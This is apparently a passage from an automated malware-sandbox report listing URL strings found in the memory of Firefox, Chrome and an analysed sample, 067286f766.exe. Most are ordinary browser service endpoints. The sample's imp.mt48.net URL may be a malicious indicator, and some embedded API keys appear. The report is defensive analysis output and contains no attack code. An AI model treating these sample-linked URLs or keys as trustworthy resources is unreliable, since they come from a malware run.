Source: firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000002A.00000002.3263843993.000002048A273000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3245540003.0000020489A60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000002A.00000003.3127460196.000002048BF04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3115069750.000002048B00D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3245540003.0000020489A60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000002A.00000002.3245540003.0000020489A60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3245540003.0000020489A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000002A.00000002.3245540003.0000020489A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000002A.00000002.3245540003.0000020489A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000002A.00000002.3245540003.0000020489A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000002A.00000002.3245540003.0000020489A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000002A.00000002.3265045514.000002048A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000002A.00000002.3284522987.000002048AA00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000003.3004296658.000002048A83A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3003094102.000002048A81E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3006122223.000002048A873000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3004712211.000002048A857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3002071042.000002048A600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000002A.00000002.3243738167.00000204897F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000002A.00000002.3243738167.00000204897F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000002A.00000002.3245540003.0000020489A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000002A.00000002.3243738167.00000204897F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: 067286f766.exe	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pb
Source: firefox.exe, 0000002C.00000002.3186536382.00000278842CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000002A.00000002.3241492483.0000020487EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000002A.00000002.3245540003.0000020489A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3303809638.00003EDC00BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3303809638.00003EDC00BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3303809638.00003EDC00BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3303809638.00003EDC00BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3303809638.00003EDC00BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3303809638.00003EDC00BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3303809638.00003EDC00BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3303809638.00003EDC00BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3303809638.00003EDC00BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3303809638.00003EDC00BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3303809638.00003EDC00BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3303809638.00003EDC00BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302316894.00003EDC00B10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: firefox.exe, 0000002A.00000003.3107154254.000002048C867000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3075699981.00000204928D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3088309424.00000204928D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: chrome.exe, 0000002E.00000002.3299899636.00003EDC00A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3189605518.00003A3400904000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3156896546.00003A3400238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3193704077.00003A3400974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3036728761.00003A340071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 0000002E.00000002.3299899636.00003EDC00A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3189605518.00003A3400904000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3193704077.00003A3400974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3036728761.00003A340071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A14F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3079270775.000002048BDCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000002A.00000003.3078854691.000002048BDF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000002A.00000003.3104081433.000002048BD65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000002A.00000002.3263843993.000002048A273000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3083089983.00000204FECBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3061053433.00000204FECBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3265045514.000002048A422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000002A.00000002.3257961922.000002048A032000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3263843993.000002048A273000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000002A.00000002.3257961922.000002048A032000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3263843993.000002048A273000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000002C.00000002.3186536382.0000027884272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000002A.00000003.3083089983.00000204FECB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: 067286f766.exe, 0000001A.00000003.2913549408.00000000052A6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2912879271.00000000052B5000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2913579776.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2926637092.00000000052AB000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3076266590.0000000005C14000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3077654891.0000000005C01000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3077181781.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXID/
Source: 067286f766.exe, 0000001A.00000003.2913549408.00000000052A6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2912879271.00000000052B5000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2913579776.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2926637092.00000000052AB000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3076266590.0000000005C14000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3077654891.0000000005C01000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3077181781.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXIDv10
Source: chrome.exe, 0000002E.00000002.3268625116.00003EDC006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3264785291.00003EDC0042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3297103874.00003EDC00914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 0000002E.00000002.3268625116.00003EDC006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3264785291.00003EDC0042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3297103874.00003EDC00914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 0000002E.00000002.3268625116.00003EDC006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3264785291.00003EDC0042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3297103874.00003EDC00914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 0000002E.00000002.3298947943.00003EDC00990000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000002A.00000002.3263843993.000002048A273000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: chrome.exe, 0000002E.00000002.3298947943.00003EDC00990000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000002A.00000002.3257961922.000002048A032000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3263843993.000002048A273000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
